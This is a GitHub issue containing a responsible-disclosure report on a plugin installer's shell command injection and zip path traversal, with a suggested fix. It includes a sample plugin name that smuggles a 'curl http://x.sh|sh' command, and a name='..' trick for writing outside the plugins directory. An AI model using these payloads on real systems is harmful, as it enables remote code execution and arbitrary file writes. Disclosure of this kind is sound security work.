Skip to content

Security finding - plugin installer: OS command injection via registry/name strings + unrestricted zip write #3455

Description

@Pajt9whauht283as

Security report (responsible disclosure)

Plugin installer: OS command injection via registry/name strings + unrestricted zip write

Affected: cogs/plugins.py:91 (no charset restrictions), :237-243 (shell sink), :216-224 (zip extraction)

m = match(r"^(.+?)/(.+?)/(.+?)(?:@(.+?))?$", s)   # name/user/repo/branch accept anything
...
proc = await asyncio.create_subprocess_shell(
    f'"{sys.executable}" -m pip install --upgrade{user_install} -r {req_txt} -q -q',

req_txt = plugin.abs_path / "requirements.txt" where abs_path embeds the raw name. {prefix}plugin add evil/trustme/foo"; curl http://x.sh|sh;" executes attacker text as shell during load. Registry-sourced installs additionally take plugin_name from remote registry JSON (:301-318 via :136). Secondary: zip extraction trusts entry paths when path.parts[1] == plugin.name; setting name='..' escapes the plugins directory (arbitrary file write).

Requires OWNER to trigger directly, but is supply-chain relevant through registry names.

Suggested fix

Use subprocess argv lists (no shell); whitelist [A-Za-z0-9._-] for user/repo/name/branch; reject zip entries resolving outside abs_path.resolve().

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions